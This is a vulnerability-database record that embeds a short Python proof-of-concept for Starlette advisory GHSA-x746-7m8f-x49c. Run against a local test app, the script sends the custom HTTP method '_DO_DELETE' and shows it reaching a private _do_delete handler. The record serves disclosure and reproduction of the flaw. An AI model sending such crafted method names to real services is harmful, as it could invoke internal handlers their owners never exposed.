{"uuid": "66427170-b96a-4abe-8eac-963adf4e321a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-x746-7m8f-x49c", "type": "seen", "source": "https://gist.github.com/ftnext/f3a40adeae641644a9cbad660d0234cb", "content": "# https://github.com/ftnext/fastapi-playground/blob/aeda2c2992f446a58bf43f176b31ad523d85715f/starlette-GHSA-x746-7m8f-x49c/run_fastapi_app.py\nfrom fastapi import FastAPI\nfrom starlette.endpoints import HTTPEndpoint\nfrom starlette.requests import Request\nfrom starlette.responses import PlainTextResponse\nfrom starlette.routing import Route\nfrom starlette.testclient import TestClient\n\n\nclass MyEndpoint(HTTPEndpoint):\n    async def get(self, request: Request) -&gt; PlainTextResponse:\n        return PlainTextResponse(\"GET handler\")\n\n    async def _do_delete(self, request: Request) -&gt; PlainTextResponse:\n        print(\"_do_delete() was called\")\n        return PlainTextResponse(\"_do_delete handler\")\n\n\napp = FastAPI(routes=[Route(\"/\", MyEndpoint)])\n\nclient = TestClient(app)\nresponse = client.request(\"_DO_DELETE\", \"/\")\nprint(f\"{response.status_code=}, {response.text=}\")", "creation_timestamp": "2026-05-31T03:42:36.000000Z"}